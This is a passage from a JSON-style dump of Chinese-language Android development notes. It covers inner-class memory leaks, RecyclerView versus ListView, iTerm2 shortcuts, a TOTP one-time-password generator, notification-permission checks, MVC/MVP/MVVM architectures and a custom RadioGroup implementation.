\"static\".\n   */\n  private static final Runnable sRunnable = new Runnable() {\n      @Override\n      public void run() { /* ... */ }\n  };\n\n  @Override\n  protected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n\n    // Post a message and delay its execution for 10 minutes.\n    mHandler.postDelayed(sRunnable, 1000 * 60 * 10);\n\n    // Go back to the previous Activity.\n    finish();\n  }\n}\n```\n\n### 五、小结\n\n虽然静态类与非静态类之间的区别并不大，但是对于Android开发者而言却是必须理解的。至少我们要清楚，如果一个内部类实例的生命周期比Activity更长，那么我们千万不要使用非静态的内部类。最好的做法是，使用静态内部类，然后在该类里使用弱引用来指向所在的Activity。\n\n原文链接：\n\n[http://www.jianshu.com/p/cb9b4b71a820](http://www.jianshu.com/p/cb9b4b71a820)\n=======\n虽然静态类与非静态类之间的区别并不大，但是对于Android开发者而言却是必须理解的。至少我们要清楚，如果一个内部类实例的生命周期比Activity更长，那么我们千万不要使用非静态的内部类。最好的做法是，使用静态内部类，然后在该类里使用弱引用来指向所在的Activity。\n\n原文链接：\n\n[http://www.jianshu.com/p/cb9b4b71a820](http://www.jianshu.com/p/cb9b4b71a820)\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/MVP+RxJava+Retrofit2+Dagger实战.md",
    "content": "# MVP + RxJava + Retrofit2 + Dagger2 项目实战\n\n\n最近要开始一个公司的小项目，虽然项目的功能是非常简单的，但是还是打算好好搞一搞，毕竟这些技术还是有一定的上手难度的，所以如果直接在大型项目中尝试的话，可能会出问题，所以打算还是现在小的项目中尝试一下，然后把项目精益求精一下。\n\n本文便是博主开始这个项目的一个笔记吧。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Recyclerview和Listview的异同.md",
    "content": "recyclerView和ListView的异同\n\n---\n\n* ViewHolder是用来保存视图引用的类，无论是ListView亦或是RecyclerView。只不过在ListView中，ViewHolder需要自己来定义，且这只是一种推荐的使用方式，不使用当然也可以，这不是必须的。只不过不使用ViewHolder的话，ListView每次getView的时候都会调用findViewById(int)，这将导致ListView性能展示迟缓。而在RecyclerView中使用RecyclerView.ViewHolder则变成了必须，尽管实现起来稍显复杂，但它却解决了ListView面临的上述不使用自定义ViewHolder时所面临的问题。\n* 我们知道ListView只能在垂直方向上滚动，Android API没有提供ListView在水平方向上面滚动的支持。或许有多种方式实现水平滑动，但是请相信我，ListView并不是设计来做这件事情的。但是RecyclerView相较于ListView，在滚动上面的功能扩展了许多。它可以支持多种类型列表的展示要求，主要如下：\n\n\t1. LinearLayoutManager，可以支持水平和竖直方向上滚动的列表。\n\t2. StaggeredGridLayoutManager，可以支持交叉网格风格的列表，类似于瀑布流或者Pinterest。\n\t3. GridLayoutManager，支持网格展示，可以水平或者竖直滚动，如展示图片的画廊。\n\n* 列表动画是一个全新的、拥有无限可能的维度。起初的Android API中，删除或添加item时，item是无法产生动画效果的。后面随着Android的进化，Google的Chat Hasse推荐使用ViewPropertyAnimator属性动画来实现上述需求。\n相比较于ListView，RecyclerView.ItemAnimator则被提供用于在RecyclerView添加、删除或移动item时处理动画效果。同时，如果你比较懒，不想自定义ItemAnimator，你还可以使用DefaultItemAnimator。\n\n* ListView的Adapter中，getView是最重要的方法，它将视图跟position绑定起来，是所有神奇的事情发生的地方。同时我们也能够通过registerDataObserver在Adapter中注册一个观察者。RecyclerView也有这个特性，RecyclerView.AdapterDataObserver就是这个观察者。ListView有三个Adapter的默认实现，分别是ArrayAdapter、CursorAdapter和SimpleCursorAdapter。然而，RecyclerView的Adapter则拥有除了内置的内DB游标和ArrayList的支持之外的所有功能。RecyclerView.Adapter的实现的，我们必须采取措施将数据提供给Adapter，正如BaseAdapter对ListView所做的那样。\n* 在ListView中如果我们想要在item之间添加间隔符，我们只需要在布局文件中对ListView添加如下属性即可：\n\n\t```\n\t android:divider=\"@android:color/transparent\"\n\t android:dividerHeight=\"5dp\"\n\t```\n* ListView通过AdapterView.OnItemClickListener接口来探测点击事件。而RecyclerView则通过RecyclerView.OnItemTouchListener接口来探测触摸事件。它虽然增加了实现的难度，但是却给予开发人员拦截触摸事件更多的控制权限。\n* ListView可以设置选择模式，并添加MultiChoiceModeListener，如下所示：\n\n\n```\nlistView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE_MODAL);\nlistView.setMultiChoiceModeListener(new MultiChoiceModeListener() {\npublic boolean onCreateActionMode(ActionMode mode, Menu menu) { ... }\npublic void onItemCheckedStateChanged(ActionMode mode, int position,\nlong id, boolean checked) { ... }\n    public boolean onActionItemClicked(ActionMode mode, MenuItem item) {\n        switch (item.getItemId()) {\n            case R.id.menu_item_delete_crime:\n            CrimeAdapter adapter = (CrimeAdapter)getListAdapter();\n            CrimeLab crimeLab = CrimeLab.get(getActivity());\n            for (int i = adapter.getCount() - 1; i >= 0; i--) {\n                if (getListView().isItemChecked(i)) {\n                    crimeLab.deleteCrime(adapter.getItem(i));\n                }\n          }\n        mode.finish();\n        adapter.notifyDataSetChanged();\n        return true;\n        default:\n            return false;\n}\n    public boolean onPrepareActionMode(ActionMode mode, Menu menu) { ... }\n    public void onDestroyActionMode(ActionMode mode) { ... }\n});\n\n```\n\t而RecyclerView则没有此功能。\n\t\n[http://www.cnblogs.com/littlepanpc/p/4497290.html](http://www.cnblogs.com/littlepanpc/p/4497290.html)\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/iterm2+vim打造完美终端.md",
    "content": "# iterm2+vim打造完美的终端\n\n最近有点迷上了vim了，就打算来一波vim的最佳实践，刚开始选择的是macVim，但是感觉有的时候vim不和命令行一起用没有那么好用，所有又决定换回命令行了。\n\n在mac上经常用命令行的人应该配置的都是 iterm2 + oh my zsh这样一个基础的配置，感觉还是挺好用的。\n\n这两个都是非常好安装配置的，在这里就先不介绍了，如果大家遇到问题的话，可以随时一起讨论。\n\n下面记录一下，iterm2的用法和快捷键：\n\n1. 新建标签：``command + t``\n2. 关闭标签：``command + w``\n3. 切换标签：``command + 数字`` ``command + 左右方向键``\n4. 切换全屏：``command + enter``\n5. 查找: ``command + f``\n6. 垂直分屏：``command + d``\n7. 水平分屏：``command + shift + d``\n8. 切换屏幕：``command + option + 方向键`` ``command + [ or ]``\n9. 查看历史命令 ：``command + ;``\n10. 查看剪贴板历史：``command + shift + h``\n11. 清除当前行：``ctrl + u``\n12. 到行首：``ctrl + a``\n13. 到行尾：``ctrl + e``\n14. 左右方向键：``ctrl + f/b``\n16. 上一条命令：``ctrl + p``\n17. 搜索命令历史：``ctrl + r``\n18. 删除当前光标的字符：``ctrl + d``\n19. 删除光标之前的字符：``ctrl + h``\n20. 删除光标之前的单词：``ctrl + w``\n21. 删除到文本末尾：``ctrl + k``\n22. 交换光标处文本：``ctrl + t``\n23. 清屏：``command + r`` ``ctrl + l``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/jvm-serializers.md",
    "content": "# Jvm-serializers\n\n\n# Home\n\nPascal S. de Kloe edited this page on 9 Jul 2016 · 68 revisions\n\n\n# 测试平台\n\nOS:Mac OS X\nJVM:Oracle Corporation 1.8.0_91\nCPU:2.8 GHz Intel Core i7 os-arch:Darwin Kernel Version 15.5.0\nCores (incl HT):8\n\n\n# 公开声明\n\n这个测试关注点在于对于一个循环的结构体的编码和解码，但是不同特征集对于不同的算法有着不一样的结果：\n\n- 一些序列化支持循环侦查，分享其它正好写非循环树结构\n- 一些包含充满元数据在序列化的过程中，一些不能\n- 一些是跨平台的，一些是语言特有的\n- 一些是以文字为基础的，一些是以二进制为基础的\n- 一些提供了版本向前/向后兼容，但是有的没有提供\n\n\n不同的数据将会产生不同的结果(例如添加一个非ascii的字符到每一个字符串，然而将会给出一个未加工的关于库的性能\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/基于OTP算法的双向认证.md",
    "content": "## 基于otp算法的双向认证\n\n\n先举例一个应用场景吧，我们应该都用U盾，或者将军令这种生成动态密钥的工具，其实它内部就是基于OTP算法来实现的。\n\n谷歌也有开源这样的开源项目，本文就是博主通读了谷歌开源项目源码来实现的，项目地址：\n\n[Google Android端项目源码](https://github.com/google/google-authenticator-android)\n\n[Google 后台项目源码](https://github.com/wstrange/GoogleAuth)\n\n\n## 算法概要\n\nTOTP（基于时间的一次性密码算法）是支持时间作为动态因素基于HMAC一次性密码算法的扩展。\n\n本算法是一个对称算法，也就是说，后台和移动端采用同样的密钥，同时这个算法是依赖于当前的系统时间的，所以可以用于动态验证。\n\n**TOTP = HMAC-SHA-1(K, (T - T0) / X)**\n\n- K 共享密钥\n\n- T 当前时间戳\n\n- T0 开始的时间戳\n\n- X 时间步长\n\n\n多唠叨几句:我们整体算法采用处理密钥的方式，是要将密钥转换成byte数组之后进行操作的，还有就是谷歌的这套双向认证算法中严格的采用了Base32字符串的方式，Base32中只有A-Z和2-7这些字符。\n\n\n\n代码效果：\n\n```\n2017/08/09 20:39:56\n983452\n2017/08/09 20:39:57\n983452\n2017/08/09 20:39:58\n983452\n2017/08/09 20:39:59\n983452\n2017/08/09 20:40:00\n977560\n2017/08/09 20:40:01\n977560\n2017/08/09 20:40:02\n977560\n2017/08/09 20:40:03\n977560\n2017/08/09 20:40:04\n977560\n```\n\n\n应用在app中的效果图:\n\n![](https://ws1.sinaimg.cn/large/006tNc79ly1fidrkhuhz9j30ei0pwmx9.jpg)\n\n\n应用在app中的效果图:\n\n\n\n核心代码算法：\n\n算法GitHub地址:https://github.com/linsir6/TOTP\n\n\n算法的核心类：\n\n```\n/**\n * Created by linSir\n * date at 2017/8/8.\n * describe: 算法的核心类\n */\n\npublic class PasscodeGenerator {\n\tprivate static final int MAX_PASSCODE_LENGTH = 9;\n\n    private static final int[] DIGITS_POWER\n            // 0 1  2   3    4     5      6       7        8         9\n            = {1,10,100,1000,10000,100000,1000000,10000000,100000000,1000000000};\n\n    private final Signer signer;\n    private final int codeLength;\n\n    interface Signer {\n        byte[] sign(byte[] data) throws GeneralSecurityException;\n    }\n\n    public PasscodeGenerator(Signer signer, int passCodeLength) {\n        if ((passCodeLength < 0) || (passCodeLength > MAX_PASSCODE_LENGTH)) {\n            throw new IllegalArgumentException(\n                    \"PassCodeLength must be between 1 and \" + MAX_PASSCODE_LENGTH\n                            + \" digits.\");\n        }\n        this.signer = signer;\n        this.codeLength = passCodeLength;\n    }\n\n    private String padOutput(int value) {\n        String result = Integer.toString(value);\n        for (int i = result.length(); i < codeLength; i++) {\n            result = \"0\" + result;\n        }\n        return result;\n    }\n\n    public String generateResponseCode(long state)\n            throws GeneralSecurityException {\n        byte[] value = ByteBuffer.allocate(8).putLong(state).array();\n        return generateResponseCode(value);\n    }\n\n    public String generateResponseCode(byte[] challenge)\n            throws GeneralSecurityException {\n        byte[] hash = signer.sign(challenge);\n\n        int offset = hash[hash.length - 1] & 0xF;\n        int truncatedHash = hashToInt(hash, offset) & 0x7FFFFFFF;\n        int pinValue = truncatedHash % DIGITS_POWER[codeLength];\n        return padOutput(pinValue);\n    }\n\n    private int hashToInt(byte[] bytes, int start) {\n        DataInput input = new DataInputStream(\n                new ByteArrayInputStream(bytes, start, bytes.length - start));\n        int val;\n        try {\n            val = input.readInt();\n        } catch (IOException e) {\n            throw new IllegalStateException(e);\n        }\n        return val;\n    }\n}\n\n\n```\n\n\n\n整体算法的思想和代码实现大概就是这样，如果有什么问题，欢迎大家在GitHub上面提Issues\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/检查app是否有推送权限.md",
    "content": "# 检查app是否具有推送权限\n\n检查是否有推送权限\n\n```java\n@RequiresApi(api = Build.VERSION_CODES.KITKAT)\n private boolean isNotificationEnabled(Context context) {\n\n     String CHECK_OP_NO_THROW = \"checkOpNoThrow\";\n     String OP_POST_NOTIFICATION = \"OP_POST_NOTIFICATION\";\n\n     AppOpsManager mAppOps = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE);\n     ApplicationInfo appInfo = context.getApplicationInfo();\n     String pkg = context.getApplicationContext().getPackageName();\n     int uid = appInfo.uid;\n\n     Class appOpsClass = null;\n  /* Context.APP_OPS_MANAGER */\n     try {\n         appOpsClass = Class.forName(AppOpsManager.class.getName());\n         Method checkOpNoThrowMethod = appOpsClass.getMethod(CHECK_OP_NO_THROW, Integer.TYPE, Integer.TYPE,\n                 String.class);\n         Field opPostNotificationValue = appOpsClass.getDeclaredField(OP_POST_NOTIFICATION);\n\n         int value = (Integer) opPostNotificationValue.get(Integer.class);\n         return ((Integer) checkOpNoThrowMethod.invoke(mAppOps, value, uid, pkg) == AppOpsManager.MODE_ALLOWED);\n\n     } catch (Exception e) {\n         e.printStackTrace();\n     }\n     return false;\n }\n```\n\n\n跳转到登录页面\n\n```java\n\nprivate void toSetting() {  \n    Intent localIntent = new Intent();  \n    localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  \n    if (Build.VERSION.SDK_INT >= 9) {  \n        localIntent.setAction(\"android.settings.APPLICATION_DETAILS_SETTINGS\");  \n        localIntent.setData(Uri.fromParts(\"package\", getPackageName(), null));  \n    } else if (Build.VERSION.SDK_INT <= 8) {  \n        localIntent.setAction(Intent.ACTION_VIEW);  \n        localIntent.setClassName(\"com.android.settings\", \"com.android.setting.InstalledAppDetails\");  \n        localIntent.putExtra(\"com.android.settings.ApplicationPkgName\", getPackageName());  \n    }  \n    startActivity(localIntent);  \n}  \n```\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/深入了解MVXX模式.md",
    "content": "# 深入了解MV**模式\n\n\n\n> 前言：做客户端开发、前端开发，大致都应该听说过这么几个名词MVC、MVP、MVVM，这些架构的思想大多是为了解决界面应用程序复杂的逻辑问题。同时这些框架的核心目的在于，职责分离，不同的层次要做不同的事情。\n\n无论是哪种MV**系列，都涉及到了Model和View，如果单纯的只有Model和View，他们是没有办法一起协同工作的，所以就有了各种MV..的设计模式\n\n\n\n**MVXX模式：**\n\n- MVC\n- MVP\n- MVVM\n\n这三种架构模式都是现在比较流行的，在不同的项目中，可能采用不同的架构模式，今天我们就围绕着这三种架构模式的试用场景介绍一下他们的概念，以及异同。\n\n## MVC\n\n\n![](https://camo.githubusercontent.com/8de6460e4d41c88ad2cf5432caae6b10f82d196e/687474703a2f2f6c69766f7261732e6769746875622e696f2f626c6f672f6d76632f6d76632d6465702e706e67)\n\n\nMVC(Model-View-Controller),Model:逻辑模型，View:视图模型，Controller控制器。简单说这就是一种设计应用程序的思想，目的在于将业务逻辑、数据、界面分离，将业务逻辑聚集到一个部件里面，在改进或者想要定制界面及用户交互时，不需要重写编写业务逻辑。Controller和View都依赖Model层，Controller和View相互依赖。\n\n操作的过程：用户在界面上进行操作(例如手机屏幕)，这个时候View会捕捉到用户的操作，然后将这个操作的处理权利交给Controller，Controller会对来自View的数据进行预处理，决定调用哪个Model的接口，然后由Model执行相应的逻辑，当Model变更之后，再利用观察者模式通知View，View通过观察者模式收到Model的消息之后，向Model请求最新的数据，然后更新页面，如下图：\n\n![](https://camo.githubusercontent.com/b89ac314c2fd554e7bf33ba1553e10dd91be44fc/687474703a2f2f6c69766f7261732e6769746875622e696f2f626c6f672f6d76632f6d76632d63616c6c2e706e67)              \n\n\n看似没有什么特别的地方，但是由几个需要特别关注的关键点：\n\n1. View是把控制权交移给Controller，Controller执行应用程序相关的应用逻辑（对来自View数据进行预处理、决定调用哪个Model的接口等等）。\n2. Controller操作Model，Model执行业务逻辑对数据进行处理。但不会直接操作View，可以说它是对View无知的。\n3. View和Model的同步消息是通过观察者模式进行，而同步操作是由View自己请求Model的数据然后对视图进行更新。\n\n需要特别注意的是MVC模式的精髓在于第三点：Model的更新是通过观察者模式告知View的，具体表现形式可以是Pub/Sub或者是触发Events。而网上很多对于MVC的描述都没有强调这一点。通过观察者模式的好处就是：不同的MVC三角关系可能会有共同的Model，一个MVC三角中的Controller操作了Model以后，两个MVC三角的View都会接受到通知，然后更新自己。保持了依赖同一块Model的不同View显示数据的实时性和准确性。我们每天都在用的观察者模式，在几十年前就已经被大神们整合到MVC的架构当中。\n\n\n###  优点\n1. 首先最重要的一点是多个视图能共享一个模型，同一个模型可以被不同的视图重用，大大提高了代码的可重用性。\n2. 由于MVC的三个模块相互独立，在其中改变一个，其他两个可以保持不变，这样可以把耦合降得很低，这样可以使开发人员可以只关注整个系统中的某一层\n3. 控制器提高了应用程序的灵活性和可配置型。控制器可以用来连接不同的模型和视图去完成用户的需求，这样控制器可以为构造应用程序提供强有力的手段\n\n### 缺点\n1. 增加了系统结构的实现的复杂性\n2. 视图与控制器之间的联系过于紧密，视图如果没有控制器的存在，能够做的事情少之又少，这样视图就很难独立应用了\n3. 视图对模型的数据的访问效率过低，因为之间需要多次的调用\n4. View无法组件化，View依赖于特定的Model，如果需要把这个View抽出来用在下一个应用程序复用就比较困难了\n\n\n\n## MVP\n\n\nModel(Model View Presenter),Model:逻辑模型，View:视图模型，Presenter:接口。\n\n关于MVP的定义：\n    \n    - MVC的演化版本，让Model和View完全解耦\n    - 代码清晰，不过增加了很多类\n    \n    \nMVP中的P，是Presenter的含义，和MVC比较类似，都是将用户对View的操作交付给Presenter，Presenter会执行相应的逻辑，在这过程中会操作Model，当Model执行完业务逻辑之后，同样是通过观察者模式把自己的结果传递出去，不过不是告诉View，而是告诉Presenter，Presenter得到消息后，通过View的接口更新页面。\n    \n    \n在Android中，我们的View可能仅仅就是个布局文件，它能做的事情少之又少，真正与布局文件进行数据绑定操作的事Activity，所以这样做就使Activity即像View又像Controller。    \n\n应用了MVP之后：\n\n    - View:对应Activity，负责View的绘制以及与用户交互\n    - Model:业务逻辑和实体模型\n    - Presenter:负责完成View与Model之间的交互\n\n\n\n应用两张图来说明上述内容:\n\n![](http://img.blog.csdn.net/20150622212835554)\n\n![](http://img.blog.csdn.net/20150622212856011)\n\n\n### MVP的优点\n\n1. 便于测试。Presenter对View是通过接口进行，在对Presenter进行不依赖UI环境的单元测试的时候。可以通过Mock一个View对象，这个对象只需要实现了View的接口即可。然后依赖注入到Presenter中，单元测试的时候就可以完整的测试Presenter应用逻辑的正确性。这里根据上面的例子给出了Presenter的单元测试样例。\n2. View可以进行组件化。在MVP当中，View不依赖Model。这样就可以让View从特定的业务场景中脱离出来，可以说View可以做到对业务完全无知。它只需要提供一系列接口提供给上层操作。这样就可以做到高度可复用的View组件。\n\n### MVP的缺点\n\n1. 代码量会一些，实现的难度也会增加一些\n\n\n### MVP与MVC区别\n\n如下图所示：\n\n![](http://img.blog.csdn.net/20150622212916054)\n\n## MVVM\n\n\nMVVM是Model-View-ViewModel的简写，MVVM是思想上的一种变革，也可以看成是MVP的一种变革，它是将\"数据模型数据双向绑定\"的思想作为核心，因此在View和Model之间便不需要我们写联系了，我们在修改数据的时候视图就可以发生变化，我们在修改视图的时候数据也是会发生变化的，可以在一定程度上提高我们的开发效率的。\n\n### 调用关系\n\nMVVM的调用关系和MVP一样。但是，在ViewModel当中会有一个叫Binder，或者是Data-binding engine的东西。以前全部由Presenter负责的View和Model之间数据同步操作交由给Binder处理。你只需要在View的模版语法当中，指令式地声明View上的显示的内容是和Model的哪一块数据绑定的。当ViewModel对进行Model更新的时候，Binder会自动把数据更新到View上去，当用户对View进行操作（例如表单输入），Binder也会自动把数据更新到Model上去。这种方式称为：Two-way data-binding，双向数据绑定。可以简单而不恰当地理解为一个模版引擎，但是会根据数据变更实时渲染。\n\n![](https://camo.githubusercontent.com/61ef7578cd46b1d37dd3ea52ce0a3be570e427cc/687474703a2f2f6c69766f7261732e6769746875622e696f2f626c6f672f6d76632f6d76766d2d63616c6c2e706e67)\n\n\n也就是说，MVVM把View和Model的同步逻辑自动化了。以前Presenter负责的View和Model同步不再手动地进行操作，而是交由框架所提供的Binder进行负责。只需要告诉Binder，View显示的数据对应的是Model哪一部分即可。\n\nAndroid官方推出的MVVM的DataBinding，便是一个双向绑定的库。\n\n### 优点\n\n1. 提高可维护性。解决了MVP大量的手动View和Model同步的问题，提供双向绑定机制。提高了代码的可维护性。\n2. 简化测试。因为同步逻辑是交由Binder做的，View跟着Model同时变更，所以只需要保证Model的正确性，View就正确。大大减少了对View同步更新的测试。\n\n### 缺点\n\n1. 过于简单的图形界面不适用，或说牛刀杀鸡。\n2. 对于大型的图形应用程序，视图状态较多，ViewModel的构建和维护的成本都会比较高。\n3. 数据绑定的声明是指令式地写在View的模版当中的，这些内容是没办法去打断点debug的。\n\n\n\n\n## 相关资料\n\n- [浅谈MVP in Android](http://blog.csdn.net/lmj623565791/article/details/46596109)\n- [MVC三层框架详细解析](http://blog.csdn.net/u011225629/article/details/47857979)\n- [还原真实的MV*模式](https://github.com/livoras/blog/issues/11)\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/自定义RadioGroup.md",
    "content": "# 自定义RadioGroup\n\n> 在Android系统中，自带的RadioGroup只能指定横向和纵向两种布局，所以有的时候我们需要自定义RadioGroup。\n\n\n首先分析一下，就是在系统自带的RadioGroup中，如果我们嵌套了，LinearLayout的话，就会失效，因为系统的RadioGroup没有考虑到这种情况，所以我们需要自定义一个Group，初步的打算是继承自LinearLayout。\n\n\n具体代码如下：\n\n```\npackage linsir.fuyizhulao.com.love_map;\n\n\nimport android.content.Context;\nimport android.content.res.TypedArray;\nimport android.util.AttributeSet;\nimport android.view.MotionEvent;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.view.accessibility.AccessibilityEvent;\nimport android.view.accessibility.AccessibilityNodeInfo;\nimport android.widget.CompoundButton;\nimport android.widget.LinearLayout;\nimport android.widget.RadioButton;\n\n\n/**\n * <p>This class is used to create a multiple-exclusion scope for a set of radio\n * buttons. Checking one radio button that belongs to a radio group unchecks\n * any previously checked radio button within the same group.</p>\n *\n * <p>Intially, all of the radio buttons are unchecked. While it is not possible\n * to uncheck a particular radio button, the radio group can be cleared to\n * remove the checked state.</p>\n *\n * <p>The selection is identified by the unique id of the radio button as defined\n * in the XML layout file.</p>\n *\n * <p><strong>XML Attributes</strong></p>\n * <p>See {@link android.R.styleable#RadioGroup RadioGroup Attributes},\n * {@link android.R.styleable#LinearLayout LinearLayout Attributes},\n * {@link android.R.styleable#ViewGroup ViewGroup Attributes},\n * {@link android.R.styleable#View View Attributes}</p>\n * <p>Also see\n * {@link android.widget.LinearLayout.LayoutParams LinearLayout.LayoutParams}\n * for layout attributes.</p>\n *\n * @see RadioButton\n *\n */\npublic class RadioGroup extends LinearLayout {\n    // holds the checked id; the selection is empty by default\n    private int mCheckedId = -1;\n    // tracks children radio buttons checked state\n    private CompoundButton.OnCheckedChangeListener mChildOnCheckedChangeListener;\n    // when true, mOnCheckedChangeListener discards events\n    private boolean mProtectFromCheckedChange = false;\n        private OnCheckedChangeListener mOnCheckedChangeListener;\n        private PassThroughHierarchyChangeListener mPassThroughListener;\n\n        /**\n         * {@inheritDoc}\n         */\n    public RadioGroup(Context context) {\n            super(context);\n            setOrientation(VERTICAL);\n            init();\n    }\n\n    /**\n     * {@inheritDoc}\n     */\n    public RadioGroup(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        mCheckedId = View.NO_ID;\n\n        final int index = VERTICAL;\n        setOrientation(index);\n\n        init();\n    }\n\n    private void init() {\n        mChildOnCheckedChangeListener = new CheckedStateTracker();\n        mPassThroughListener = new PassThroughHierarchyChangeListener();\n        super.setOnHierarchyChangeListener(mPassThroughListener);\n    }\n\n    /**\n     * {@inheritDoc}\n     */\n    @Override\n    public void setOnHierarchyChangeListener(OnHierarchyChangeListener listener) {\n        // the user listener is delegated to our pass-through listener\n        mPassThroughListener.mOnHierarchyChangeListener = listener;\n    }\n\n    /**\n     * {@inheritDoc}\n     */\n    @Override\n    protected void onFinishInflate() {\n        super.onFinishInflate();\n\n        // checks the appropriate radio button as requested in the XML file\n        if (mCheckedId != -1) {\n            mProtectFromCheckedChange = true;\n            setCheckedStateForView(mCheckedId, true);\n            mProtectFromCheckedChange = false;\n            setCheckedId(mCheckedId);\n        }\n    }\n\n    @Override\n    public void addView(final View child, int index, ViewGroup.LayoutParams params) {\n        if (child instanceof RadioButton) {\n\n            ((RadioButton) child).setOnTouchListener(new OnTouchListener() {\n\n                @Override\n                public boolean onTouch(View v, MotionEvent event) {\n                    ((RadioButton) child).setChecked(true);\n                    checkRadioButton((RadioButton) child);\n                    if(mOnCheckedChangeListener != null){\n                        mOnCheckedChangeListener.onCheckedChanged(RadioGroup.this, child.getId());\n                    }\n                    return true;\n                }\n            });\n\n        } else if(child instanceof LinearLayout){\n            int childCount = ((LinearLayout) child).getChildCount();\n            for(int i = 0; i < childCount; i++){\n                View view = ((LinearLayout) child).getChildAt(i);\n                if (view instanceof RadioButton) {\n                    final RadioButton button = (RadioButton) view;\n\n\n                    ((RadioButton) button).setOnTouchListener(new OnTouchListener() {\n\n                        @Override\n                        public boolean onTouch(View v, MotionEvent event) {\n                            ((RadioButton) button).setChecked(true);\n                            checkRadioButton((RadioButton) button);\n                            if(mOnCheckedChangeListener != null){\n                                mOnCheckedChangeListener.onCheckedChanged(RadioGroup.this, button.getId());\n                            }\n                            return true;\n                        }\n                    });\n\n                }\n            }\n        }\n\n        super.addView(child, index, params);\n    }\n\n    private void checkRadioButton(RadioButton radioButton){\n        View child;\n        int radioCount = getChildCount();\n        for(int i = 0; i < radioCount; i++){\n            child = getChildAt(i);\n            if (child instanceof RadioButton) {\n                if(child == radioButton){\n                    // do nothing\n                } else {\n                    ((RadioButton) child).setChecked(false);\n                }\n            } else if(child instanceof LinearLayout){\n                int childCount = ((LinearLayout) child).getChildCount();\n                for(int j = 0; j < childCount; j++){\n                    View view = ((LinearLayout) child).getChildAt(j);\n                    if (view instanceof RadioButton) {\n                        final RadioButton button = (RadioButton) view;\n                        if(button == radioButton){\n                            // do nothing\n                        } else {\n                            ((RadioButton) button).setChecked(false);\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    /**\n     * <p>Sets the selection to the radio button whose identifier is passed in\n     * parameter. Using -1 as the selection identifier clears the selection;\n     * such an operation is equivalent to invoking {@link #clearCheck()}.</p>\n     *\n     * @param id the unique id of the radio button to select in this group\n     *\n     * @see #getCheckedRadioButtonId()\n     * @see #clearCheck()\n     */\n    public void check(int id) {\n        // don't even bother\n        if (id != -1 && (id == mCheckedId)) {\n            return;\n        }\n\n        if (mCheckedId != -1) {\n            setCheckedStateForView(mCheckedId, false);\n        }\n\n        if (id != -1) {\n            setCheckedStateForView(id, true);\n        }\n\n        setCheckedId(id);\n    }\n\n    private void setCheckedId(int id) {\n        mCheckedId = id;\n    }\n\n    private void setCheckedStateForView(int viewId, boolean checked) {\n        View checkedView = findViewById(viewId);\n        if (checkedView != null && checkedView instanceof RadioButton) {\n            ((RadioButton) checkedView).setChecked(checked);\n        }\n    }\n\n    /**\n     * <p>Returns the identifier of the selected radio button in this group.\n     * Upon empty selection, the returned value is -1.</p>\n     *\n     * @return the unique id of the selected radio button in this group\n     *\n     * @see #check(int)\n     * @see #clearCheck()\n     *\n     * @attr ref android.R.styleable#RadioGroup_checkedButton\n     */\n    public int getCheckedRadioButtonId() {\n        return mCheckedId;\n    }\n\n    /**\n     * <p>Clears the selection. When the selection is cleared, no radio button\n     * in this group is selected and {@link #getCheckedRadioButtonId()} returns\n     * null.</p>\n     *\n     * @see #check(int)\n     * @see #getCheckedRadioButtonId()\n     */\n    public void clearCheck() {\n        check(-1);\n    }\n\n    /**\n     * <p>Register a callback to be invoked when the checked radio button\n     * changes in this group.</p>\n     *\n     * @param listener the callback to call on checked state change\n     */\n    public void setOnCheckedChangeListener(OnCheckedChangeListener listener) {\n        mOnCheckedChangeListener = listener;\n    }\n\n    /**\n     * {@inheritDoc}\n     */\n    @Override\n    public LayoutParams generateLayoutParams(AttributeSet attrs) {\n        return new RadioGroup.LayoutParams(getContext(), attrs);\n    }\n\n    /**\n     * {@inheritDoc}\n     */\n    @Override\n    protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {\n        return p instanceof RadioGroup.LayoutParams;\n    }\n\n    @Override\n    protected LinearLayout.LayoutParams generateDefaultLayoutParams() {\n        return new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);\n    }\n\n    @Override\n    public void onInitializeAccessibilityEvent(AccessibilityEvent event) {\n        super.onInitializeAccessibilityEvent(event);\n        event.setClassName(RadioGroup.class.getName());\n    }\n\n    @Override\n    public void onInitializeAccessibilityNodeInfo(AccessibilityNodeInfo info) {\n        super.onInitializeAccessibilityNodeInfo(info);\n        info.setClassName(RadioGroup.class.getName());\n    }\n\n    /**\n     * <p>This set of layout parameters defaults the width and the height of\n     * the children to {@link #WRAP_CONTENT} when they are not specified in the\n     * XML file. Otherwise, this class ussed the value read from the XML file.</p>\n     *\n     * <p>See\n     * {@link android.R.styleable#LinearLayout_Layout LinearLayout Attributes}\n     * for a list of all child view attributes that this class supports.</p>\n     *\n     */\n    public static class LayoutParams extends LinearLayout.LayoutParams {\n        /**\n         * {@inheritDoc}\n         */\n        public LayoutParams(Context c, AttributeSet attrs) {\n            super(c, attrs);\n        }\n\n        /**\n         * {@inheritDoc}\n         */\n        public LayoutParams(int w, int h) {\n            super(w, h);\n        }\n\n        /**\n         * {@inheritDoc}\n         */\n        public LayoutParams(int w, int h, float initWeight) {\n            super(w, h, initWeight);\n        }\n\n        /**\n         * {@inheritDoc}\n         */\n        public 